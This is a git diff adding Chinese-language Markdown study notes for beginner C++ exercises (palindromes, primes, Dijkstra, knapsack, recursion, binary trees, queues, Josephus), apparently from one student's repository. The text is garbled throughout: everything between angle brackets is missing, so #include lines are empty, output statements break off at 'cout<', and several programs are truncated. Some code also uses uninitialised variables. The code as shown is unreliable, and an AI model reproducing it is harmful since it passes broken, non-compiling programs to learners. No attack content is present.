c='1'; + break; + case 1: + c='0'; + break; + case 2: + c='X'; + break; + case 3: + c='9'; + break; + case 4: + c='8'; + break; + case 5: + c='7'; + break; + case 6: + c='6'; + break; + case 7: + c='5'; + break; + case 8: + c='4'; + break; + case 9: + c='3'; + break; + case 10: + c='2'; + break; + } + cout< +using namespace std; +int main(){ + long n,t,s,a[10001]; + cin>>n; + for(long i=1;i<=n;i++){ + cin>>a[i]; + } + for(long j=1;j<=n-1;j++){ + for(long i=1;i<=n-j;i++){ + if(a[i]>a[i+1]){ + t=a[i]; + a[i]=a[i+1]; + a[i+1]=t; + s++; + } + } + } + cout< +#include +using namespace std; + +int main(){ + freopen("in.txt","r",stdin); + freopen("out.txt","w",stdout); + //正常的逻辑代码 + + fclose(stdin); + fclose(stdout); + return 0; +} + +``` + diff --git "a/C++\350\276\223\345\207\2721-100\346\211\200\346\234\211\345\245\207\346\225\260\345\222\214\346\211\200\346\234\211\345\201\266\346\225\260\347\233\270\345\212\240\344\271\213\345\222\214.md" "b/C++\350\276\223\345\207\2721-100\346\211\200\346\234\211\345\245\207\346\225\260\345\222\214\346\211\200\346\234\211\345\201\266\346\225\260\347\233\270\345\212\240\344\271\213\345\222\214.md" new file mode 100644 index 0000000..7006a2f --- /dev/null +++ "b/C++\350\276\223\345\207\2721-100\346\211\200\346\234\211\345\245\207\346\225\260\345\222\214\346\211\200\346\234\211\345\201\266\346\225\260\347\233\270\345\212\240\344\271\213\345\222\214.md" @@ -0,0 +1,17 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2021071216060912.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + int x = 0,y = 0; + for (int i = 1;i <= 100;i ++){ + if (i % 2 == 1) x += i; + if (i % 2 == 0) y += i; + } + cout << x << " " << y; + return 0; +} +``` + diff --git "a/C++\350\276\223\345\207\2721-n\344\271\213\351\227\264\346\211\200\346\234\211\347\232\204\345\233\236\346\226\207\346\225\260.md" "b/C++\350\276\223\345\207\2721-n\344\271\213\351\227\264\346\211\200\346\234\211\347\232\204\345\233\236\346\226\207\346\225\260.md" new file mode 100644 index 0000000..b55175f --- /dev/null +++ "b/C++\350\276\223\345\207\2721-n\344\271\213\351\227\264\346\211\200\346\234\211\347\232\204\345\233\236\346\226\207\346\225\260.md" @@ -0,0 +1,68 @@ +> 输入n,输出1~n(包含1和n)之间所有的回文数,并统计回文数的个数。个数之前要加星号。 +> 输入: 100 +> 输出:(下面是需要换行的) +> 1 2 3 4 5 6 7 8 9 11 22 33 44 55 66 77 88 99 +> *18 + +这道题我挖掘了两种做法,一种好理解但是运行内存和时间可能要差点;另一种稍微费点劲,但是可以放到比赛里用。 + +方法一: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +bool hw(int n){ + int a[11],b[11],m=n,i=0; + while(m){ + a[i++]=m%10; // 获取到每一位的数字,储存在数组 + m/=10; + } + for(int j=0;j>n; + for(int i=1;i<=n;i++){ + if(hw(i)){ + s++; + cout< +using namespace std; +int main(){ + int n,s=0,t,k=10,m; + cin>>n; + for(int i=1;i<=n;i++){ + t=i,m=0; + while(t!=0){ + m=m*k+t%10; + t/=10; // 重新组合 + } + if(m==i){ // 判断组合前后的数是否一样 + cout< +using namespace std; + +int main() +{ + int n,i = 1; + cin >> n; + do{ + if (i % 2 == 1){ + cout << i << " "; + } + i ++; + } while (i <= n); + return 0; +} +``` + +```cpp +#include +using namespace std; + +int main() +{ + int n,i = 1; + cin >> n; + + while (i <= n){ + if (i % 2 == 1) { + cout << i << " "; + } + i ++; + } + return 0; +} +``` + diff --git "a/C++\350\276\223\345\207\2721~100\346\211\200\346\234\211\345\245\207\346\225\260\345\222\214\346\211\200\346\234\211\345\201\266\346\225\260\347\233\270\345\212\240\344\271\213\345\222\214.md" "b/C++\350\276\223\345\207\2721~100\346\211\200\346\234\211\345\245\207\346\225\260\345\222\214\346\211\200\346\234\211\345\201\266\346\225\260\347\233\270\345\212\240\344\271\213\345\222\214.md" new file mode 100644 index 0000000..7006a2f --- /dev/null +++ "b/C++\350\276\223\345\207\2721~100\346\211\200\346\234\211\345\245\207\346\225\260\345\222\214\346\211\200\346\234\211\345\201\266\346\225\260\347\233\270\345\212\240\344\271\213\345\222\214.md" @@ -0,0 +1,17 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2021071216060912.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + int x = 0,y = 0; + for (int i = 1;i <= 100;i ++){ + if (i % 2 == 1) x += i; + if (i % 2 == 0) y += i; + } + cout << x << " " << y; + return 0; +} +``` + diff --git "a/C++\350\276\223\345\207\2721~n\344\271\213\351\227\264\346\211\200\346\234\211\347\232\204\345\245\207\346\225\260.md" "b/C++\350\276\223\345\207\2721~n\344\271\213\351\227\264\346\211\200\346\234\211\347\232\204\345\245\207\346\225\260.md" new file mode 100644 index 0000000..737da23 --- /dev/null +++ "b/C++\350\276\223\345\207\2721~n\344\271\213\351\227\264\346\211\200\346\234\211\347\232\204\345\245\207\346\225\260.md" @@ -0,0 +1,39 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210712141409196.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main() +{ + int n,i = 1; + cin >> n; + do{ + if (i % 2 == 1){ + cout << i << " "; + } + i ++; + } while (i <= n); + return 0; +} +``` + +```cpp +#include +using namespace std; + +int main() +{ + int n,i = 1; + cin >> n; + + while (i <= n){ + if (i % 2 == 1) { + cout << i << " "; + } + i ++; + } + return 0; +} +``` + diff --git "a/C++\350\276\223\345\207\272N\344\270\252\346\225\260\344\270\255\347\232\204\346\234\200\345\244\247\345\200\274\343\200\201\346\234\200\345\260\217\345\200\274.md" "b/C++\350\276\223\345\207\272N\344\270\252\346\225\260\344\270\255\347\232\204\346\234\200\345\244\247\345\200\274\343\200\201\346\234\200\345\260\217\345\200\274.md" new file mode 100644 index 0000000..e558f5f --- /dev/null +++ "b/C++\350\276\223\345\207\272N\344\270\252\346\225\260\344\270\255\347\232\204\346\234\200\345\244\247\345\200\274\343\200\201\346\234\200\345\260\217\345\200\274.md" @@ -0,0 +1,24 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210713163950235.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + int a[101],n,max,min; + cin >> n; + for (int i = 0;i < n;i ++){ + cin >> a[i]; + } + + max = a[0],min = a[0]; + for (int i = 0;i < n;i ++){ + if (max < a[i]) max = a[i]; + if (min > a[i]) min = a[i]; + } + + cout << max << " " << min << endl; + return 0; +} +``` + diff --git "a/C++\350\276\223\345\207\272n\351\230\266\344\271\230\346\263\225\350\241\250.md" "b/C++\350\276\223\345\207\272n\351\230\266\344\271\230\346\263\225\350\241\250.md" new file mode 100644 index 0000000..c3a8920 --- /dev/null +++ "b/C++\350\276\223\345\207\272n\351\230\266\344\271\230\346\263\225\350\241\250.md" @@ -0,0 +1,27 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210713143430104.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +C++ 版: +```cpp +#include +using namespace std; + +int main(){ + int x; + cin >> x; + + for (int n = 1;n <= x;n ++){ + for (int m = 1;m < n + 1;m ++){ + cout << n << "×" << m << "=" << n * m << " "; + } + cout << endl; + } + return 0; +} +``` +Python 版: + +```py +for o in range(1,10): + for t in range(1,o+1): + print('{0}×{1}={2}'.format(o,t,o * t),end = '') + print() +``` diff --git "a/C++\350\276\223\345\207\272\345\200\222\347\253\213\344\270\211\350\247\222\345\275\242.md" "b/C++\350\276\223\345\207\272\345\200\222\347\253\213\344\270\211\350\247\222\345\275\242.md" new file mode 100644 index 0000000..b25662c --- /dev/null +++ "b/C++\350\276\223\345\207\272\345\200\222\347\253\213\344\270\211\350\247\222\345\275\242.md" @@ -0,0 +1,17 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210715155754693.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + for (int i = 1;i <= 4;i ++){ + for (int j = 2;j <= i;j ++) cout << 1; + for (int k = 2 * i - 1;k <= 7;k ++) cout << 0; + for (int l = 2;l <= i;l ++) cout << 1; + cout << endl; + } + return 0; +} +``` + diff --git "a/C++\350\276\223\345\207\272\345\255\227\347\254\246\344\270\262\344\270\255\347\232\204\346\225\260\345\255\227\344\270\252\346\225\260\345\222\214\345\205\266\344\273\226\345\255\227\347\254\246.md" "b/C++\350\276\223\345\207\272\345\255\227\347\254\246\344\270\262\344\270\255\347\232\204\346\225\260\345\255\227\344\270\252\346\225\260\345\222\214\345\205\266\344\273\226\345\255\227\347\254\246.md" new file mode 100644 index 0000000..2f3f8a0 --- /dev/null +++ "b/C++\350\276\223\345\207\272\345\255\227\347\254\246\344\270\262\344\270\255\347\232\204\346\225\260\345\255\227\344\270\252\346\225\260\345\222\214\345\205\266\344\273\226\345\255\227\347\254\246.md" @@ -0,0 +1,27 @@ +【问题描述】统计用户输入的字符(长度1≤n≤100)中数字的个数和其他字符。 +输入共一行,包含用户输入要检测的字符串。 +输出共两行,第一行包含其他字符,第二行包含字符串中数字的个数。 +【样例输入】 +abcde12345 +【样例输出】 +abcde +5 + +```cpp +#include +using namespace std; + +int main(){ + char k[101]; + cin.getline(k,101); + int i=0,x=0; + while(k[i]!='\0'){ + if(k[i]>='0'&&k[i]<='9') x++; + else cout< +using namespace std; + +int main() { + int i,n,k,sum,a[1001]; + cin >> n; + if (n == 1) { + cout << 1 << endl << 1; + } + if (n == 2) { + cout << 2 << endl << 3; + } + if (n>=3) { + a[1] = 1; + a[2] = 2; + sum = 3; + for(i = 3; i <= n; i ++) { + a[i] = (a[i - 1] + a[i - 2]) * 3; + sum += a[i]; + } + } + + cout << a[n] << endl; + cout << sum << endl; + return 0; +} +``` + diff --git "a/C++\350\276\223\345\207\272\346\200\273\345\210\206\346\234\200\351\253\230\345\255\246\347\224\237\347\232\204\344\277\241\346\201\257.md" "b/C++\350\276\223\345\207\272\346\200\273\345\210\206\346\234\200\351\253\230\345\255\246\347\224\237\347\232\204\344\277\241\346\201\257.md" new file mode 100644 index 0000000..d4ba49c --- /dev/null +++ "b/C++\350\276\223\345\207\272\346\200\273\345\210\206\346\234\200\351\253\230\345\255\246\347\224\237\347\232\204\344\277\241\346\201\257.md" @@ -0,0 +1,36 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/51ebf7667ee95b0feb0df83147115da8.png) +要用到结构体: +```cpp +#include +using namespace std; +struct student{ + string name; + int chinese,math,total; +}stu[101]; +int main(){ + int n,max=0,num=0; + cin>>n; + for(int i=0;i>stu[i].name; + cin>>stu[i].chinese; + cin>>stu[i].math; + stu[i].total=stu[i].chinese+stu[i].math; + } + for(int i=0;imax){ + max=stu[i].total; + num=i; + } + } + cout< +using namespace std;struct student{string name;int chinese,math,total;}stu[101]; int main(){int n,max=0,num=0;cin>>n;for(int i=0;i>stu[i].name;cin>>stu[i].chinese;cin>>stu[i].math;stu[i].total=stu[i].chinese+stu[i].math;}for(int i=0;imax){max=stu[i].total;num=i;}}cout< +using namespace std; + +int main(){ + int n; + cin >> n; + + for (int i = 1;i <= n;i ++){ + for (int j = 1;j <= n - i;j ++){ + cout << " "; + } + for (int k = 1;k <= 2 * i - 1;k ++){ + cout << "*"; + } + cout << endl; + } + return 0; +} +``` + diff --git "a/C++\350\276\223\345\207\272\346\225\264\346\225\260n\357\274\210n\342\211\2400\357\274\211\345\220\204\344\270\252\346\225\260\344\275\215\344\270\212\347\232\204\345\222\214.md" "b/C++\350\276\223\345\207\272\346\225\264\346\225\260n\357\274\210n\342\211\2400\357\274\211\345\220\204\344\270\252\346\225\260\344\275\215\344\270\212\347\232\204\345\222\214.md" new file mode 100644 index 0000000..fa0c405 --- /dev/null +++ "b/C++\350\276\223\345\207\272\346\225\264\346\225\260n\357\274\210n\342\211\2400\357\274\211\345\220\204\344\270\252\346\225\260\344\275\215\344\270\212\347\232\204\345\222\214.md" @@ -0,0 +1,20 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210712144230394.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + long long n; + int x,y; + cin >> n; + while (n != 0){ + x = n % 10; + n /= 10; + y += x; + } + cout << y << endl; + return 0; +} +``` + diff --git "a/C++\350\276\223\345\207\272\350\207\252\345\256\232\344\271\211\345\214\272\351\227\264\347\232\204\347\264\240\346\225\260.md" "b/C++\350\276\223\345\207\272\350\207\252\345\256\232\344\271\211\345\214\272\351\227\264\347\232\204\347\264\240\346\225\260.md" new file mode 100644 index 0000000..7029e5b --- /dev/null +++ "b/C++\350\276\223\345\207\272\350\207\252\345\256\232\344\271\211\345\214\272\351\227\264\347\232\204\347\264\240\346\225\260.md" @@ -0,0 +1,50 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210720162700189.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +以下两种方法都可以,推荐第一种: + +```cpp +#include +using namespace std; + +int prime(int x){ + for(int i=2;i*i<=x;i++) if(x%i==0) return 0; + return 1; +} +int main(){ + int n,m; + cin>>n>>m; + for(int i=n;i<=m;i++) if(prime(i)) cout< +using namespace std;int prime(int x){for(int i=2;i*i<=x;i++) if(x%i==0) return 0;return 1;}int main(){int n,m;cin>>n>>m;for(int i=n;i<=m;i++) if(prime(i)) cout< +using namespace std; + +int prime(int x){ + if(x<2) return 0; + for(int i=2;i>n>>m; + for(int i=0;i<=m;i++)if(prime(i)) cout< +using namespace std;int prime(int x){if(x<2) return 0;for(int i=2;i>n>>m;for(int i=0;i<=m;i++)if(prime(i)) cout< +using namespace std; +int main(){ + int n; + cin>>n; + for(int i=1;i<=n;i++){ + int sum=0; //计数器:计算因子相加的和 + for(int j=1;j +using namespace std; + +int main(){ + int n; + cin >> n; + + for (int i = 1;i <= n;i ++){ + for (int j = 1;j <= n - i;j ++){ + cout << " "; + } + for (int k = 1;k <= 2 * i - 1;k ++){ + cout << "*"; + } + cout << endl; + } + for (int i = 1;i <= n - 1;i ++){ + for (int j = 1;j <= i;j ++){ + cout << " "; + } + for (int k = 1;k <= 2 * (n - i) - 1;k ++){ + cout << "*"; + } + cout << endl; + } + return 0; +} +``` + diff --git "a/C++\350\277\220\347\224\250\344\270\211\347\233\256\350\277\220\347\256\227\347\254\246\345\210\244\346\226\255\344\270\211\344\270\252\346\225\260\347\232\204\345\244\247\345\260\217.md" "b/C++\350\277\220\347\224\250\344\270\211\347\233\256\350\277\220\347\256\227\347\254\246\345\210\244\346\226\255\344\270\211\344\270\252\346\225\260\347\232\204\345\244\247\345\260\217.md" new file mode 100644 index 0000000..8642665 --- /dev/null +++ "b/C++\350\277\220\347\224\250\344\270\211\347\233\256\350\277\220\347\256\227\347\254\246\345\210\244\346\226\255\344\270\211\344\270\252\346\225\260\347\232\204\345\244\247\345\260\217.md" @@ -0,0 +1,14 @@ +```cpp +#include +using namespace std; + +int main(){ + int a,b,c,d; + cin >> a >> b >> c; + + d = (a > b ? a : b) > c ? (a > b ? a : b) : c; + cout << d << endl; + return 0; +} +``` + diff --git "a/C++\350\277\252\346\235\260\346\226\257\347\211\271\346\213\211\347\256\227\346\263\225.md" "b/C++\350\277\252\346\235\260\346\226\257\347\211\271\346\213\211\347\256\227\346\263\225.md" new file mode 100644 index 0000000..3e04489 --- /dev/null +++ "b/C++\350\277\252\346\235\260\346\226\257\347\211\271\346\213\211\347\256\227\346\263\225.md" @@ -0,0 +1,71 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b01b3afb24bf4904bb908cc5e454ce02.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0beae8e534d24df3bb8e550e014471b7.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/727caf525e564199a8df1a9e047ca390.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9993c8311d954c03bef599affbb45b45.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7900ab953f184847a76309f6c34e5364.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1fe66305f9b34e368450c57ce86b91fe.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0142b73640294491804fb0e0f575c9c1.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/da560abdd4674af784ab8ce65c30ac78.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3cf105659f944d3f96362605cd51a663.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ee51be6005f449e497ddf7e2f0e7b1c0.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + + +做一道题: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a4fa7ede774d427697d910fcb59402fc.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int e[101][101]; +int book[101]; //标记数组 +int dis[101]; //储存出发点到终点的 结果 +int n,m,s; +int p,q,t; +int inf=10001; +int min_=0; +int main(){ + cin>>n>>m>>s; + for(int i=1;i<=n;i++){ + for(int j=1;j<=n;j++){ + if(i==j) e[i][j]=0; + else e[i][j]=inf; + } + } + for(int i=1;i<=m;i++){ + cin>>p>>q>>t; + e[p][q]=t; + } + //迪杰斯特拉算法 + book[s]=1; //起点使用 + //初始化最优解数组 + for(int i=1;i<=n;i++){ + dis[i]=e[s][i]; + } + int u; //找到最短线 + for(int i=1;idis[u]+e[u][v]){ + dis[v]=dis[u]+e[u][v]; + } + } + } + } + for(int i=1;i<=n;i++){ + cout< +using namespace std; +int main(){ + int a[101],n,m,t,s=0,count; + cin>>n; + count=n; + for(int i=0;i>t; + if(t==1) a[i]=1; + else a[i]=2; + } + cin>>m; + int i=0; + while(count>1){ + if(a[i]>0) s++; + if(s==m){ + a[i]--; + if(a[i]==0) count--; + s=0; + } + i++; + i%=n; + } + for(int i=0;i +using namespace std; + +void story(){ + cout<<"从前有座山,山里有个庙,庙里有老和尚和小和尚,老和尚给小和尚讲故事,讲了什么呢?"; + getchar(); + story(); + return; +} + +int main(){ + story(); + return 0; +} +``` +如果这样不加节制的运行下去,就形成了死循环,程序会运行到系统崩溃为止。所以要实现以下效果,我们需要对它进行条件判断。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/8e7f51f0892272c4614b5d84b2fe2110.png) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int n=0; +void story(){ + n++; + cout<<"(第"< + +# 二、递归算法的运用 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/83b34ca514009df3ab85386e378f0fc6.png) + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/21955f21fc8ed849bf400bc6f411aa5b.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/05c5d91e280242d4c7f22e7c99eae343.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/a6386a319505350023d733fc4bcbaa06.png) +做递归算法,我们需要找到以下几点: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/3e9ce8926568c3fb57e5a3bd99ca1d74.png) + +```cpp +//Author:PanDaoxi +#include +using namespace std; + +int age(int n){ + int c; + if(n==1) c=10; + else c=age(n-1)+2; + return c; +} + +int main(){ + cout< +using namespace std; +int main(){ + int a[1000],n; + cin>>n; + a[0]=a[1]=1; + for(int i=2;i<=n;i++) a[i]=a[i-1]+a[i-2]; + cout< +using namespace std; +int main(){ + int n,a[101]; + cin>>n; + a[1]=1; + a[2]=2; + for(int i=3;i<=n;i++) a[i]=a[i-1]+a[i-2]; + cout< +using namespace std; +struct node{ + int left,right; //左孩子和右孩子 + char value; //值 +}data[101]; +int root=0,cnt; //根节点和记录有效字符 +char ch; //输入的数据 +//构建二叉树 +int buildTree(int bt){ //参数:结点的编号 + cin>>ch; + if(ch=='.'){ //判断是否为空结点 + bt=0; //赋值为0 + return bt; //跳出程序 + } + else{ //非空结点,进行先序遍历 + bt=++cnt; //构造结点 + data[bt].value=ch; //存放根的值 + data[bt].left=data[bt].right=0; //左右孩子都归零 + data[bt].left=buildTree(bt); //递归左子树 + data[bt].right=buildTree(bt); //递归右子树 + } + return bt; //完成递归 +} +//后序遍历二叉树 +void postorder(int bt){ + if(bt){ //非空结点 + //递归输出根 + postorder(data[bt].left); + postorder(data[bt].right); + cout< + +然后考场上瞬间高兴地发飙 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int inf = 27; +map tree; +int n; +void f(char root){ + if(root == '*') return; + cout << root; + f(tree[root][0]); + f(tree[root][1]); +} +int main(){ + char root; + cin >> n; + for(int i=1; i<=n; i++){ + char a, b, c; + cin >> a >> b >> c; + if(i == 1) root = a; + tree[a] = string(1, b) + string(1, c); + } + f(root); + return 0; +} +``` +感觉这种方法更简单些,然后这个题 $ac$ 了。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7e4e1327016f43b5bae0e32a4ac819e0.png) +一次过。 diff --git "a/C++\351\207\207\350\215\211\350\215\257\351\227\256\351\242\230\357\274\210\345\212\250\346\200\201\350\247\204\345\210\222\357\274\211.md" "b/C++\351\207\207\350\215\211\350\215\257\351\227\256\351\242\230\357\274\210\345\212\250\346\200\201\350\247\204\345\210\222\357\274\211.md" new file mode 100644 index 0000000..8ace0fc --- /dev/null +++ "b/C++\351\207\207\350\215\211\350\215\257\351\227\256\351\242\230\357\274\210\345\212\250\346\200\201\350\247\204\345\210\222\357\274\211.md" @@ -0,0 +1,27 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6abe2f5751594dc8b649b9f91f9a617f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +那个医生,带辰辰到山上采药,每株草药都有自己的价值,如何在一定时间内最快得到最高价值。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f078040e8bd045acb4dec12b30643a45.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +这个题好坑啊,和上道题一模一样。 +离离原上谱,一岁一枯荣。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int w[101],c[101],f[101][101]; +int m,n; +int main(){ + cin>>m>>n; + for(int i=1;i<=n;i++) cin>>w[i]>>c[i]; + //动态规划 + for(int i=1;i<=n;i++){ + for(int j=1;j<=m;j++){ + if(j>=w[i]) f[i][j]=max(f[i-1][j],f[i-1][j-w[i]]+c[i]); + else f[i][j]=f[i-1][j]; + } + } + cout< +using namespace std; +int main(){ + int q[101]={},front=0,rear=0,n=0; + char t,a[101]; + for(int i=0;cin>>t;i++){ + if(t=='O'){ + if(front>=rear) cout<<"None"<>q[++rear]; + } + return 0; +} +``` +正确答案: + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int main(){ + int q[101]={}; + int head ,tail; + head = tail = 0; + char ch; + while(cin >> ch){ + if(ch == 'O'){ + if (head >= tail) + cout<<"None"<> q[tail]; + } + } + return 0; +} +``` + diff --git "a/C++\351\230\237\345\210\227\342\200\224\342\200\224\347\272\246\347\221\237\345\244\253\347\216\257\351\227\256\351\242\230.md" "b/C++\351\230\237\345\210\227\342\200\224\342\200\224\347\272\246\347\221\237\345\244\253\347\216\257\351\227\256\351\242\230.md" new file mode 100644 index 0000000..e084671 --- /dev/null +++ "b/C++\351\230\237\345\210\227\342\200\224\342\200\224\347\272\246\347\221\237\345\244\253\347\216\257\351\227\256\351\242\230.md" @@ -0,0 +1,30 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ab0f0ab6ae4d45b59f64bb472e8e34f7.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +> 据说著名犹太历史学家 Josephus有过以下的故事:在罗马人占领乔塔帕特后,39 个犹太人与Josephus及他的朋友躲到一个洞中,39个犹太人决定宁愿死也不要被敌人抓到,于是决定了一个自杀方式,41个人排成一个圆圈,由第1个人开始报数,每报数到第3人该人就必须自杀,然后再由下一个重新报数,直到所有人都自杀身亡为止。然而Josephus 和他的朋友并不想遵从。首先从一个人开始,越过k-2个人(因为第一个人已经被越过),并杀掉第k个人。接着,再越过k-1个人,并杀掉第k个人。这个过程沿着圆圈一直进行,直到最终只剩下一个人留下,这个人就可以继续活着。问题是,给定了和,一开始要站在什么地方才能避免被处决?Josephus要他的朋友先假装遵从,他将朋友与自己安排在第16个与第31个位置,于是逃过了这场死亡游戏。 +———————————————— +版权声明:本文为CSDN博主「Lavender-csdn」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 +原文链接:https://blog.csdn.net/kidchildcsdn/article/details/105157286 + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int main(){ + int q[100],i,n,k,j,front=0,rear=0; + cin>>n>>k; + for(i=1;i<=n;i++){ + q[rear++]=i; + } + while(front1){ + q[rear]=q[front++]; + j--; + } + front++; + } + cout< +using namespace std; +// 创建队列 +const int MaxSize=101; +int q[MaxSize],front=0,rear=0; +void push(int value){ // 入队操作 + if(rear>n; + for(int i=1;i<=n;i++){ + push(i); + } + for(int i=1;i<=n;i++){ + cout< +using namespace std; +int main(){ + int n,a[10000],front=0,rear=0; + cin>>n; + for(int i=0;i +using namespace std; +const int MaxSize=100; // 最大值常量 +int q[MaxSize],front=0,rear=0; // 创建队列和两个指针(front=队首,rear=队尾) +// 1.入队函数 +void push(int value){ + // 如果队不满则添加值 + if(rear>n; + push(n); + } + // 输出队中元素 + cout< +using namespace std; +int main(){ + for(int i=1;i<=30;i++){ + for(int j=1;j<=30;j++){ + for(int k=1;k<=30;k++){ + if(i+j+k==30&&i*30+j*20+k*10==500){ + cout<>c>>d; + // 第一步读取整数 + for(int i=c.size()-1;i>=0;i--){ + a[x++]=c[i]-'0'; + } + for(int i=d.size()-1;i>=0;i--){ + 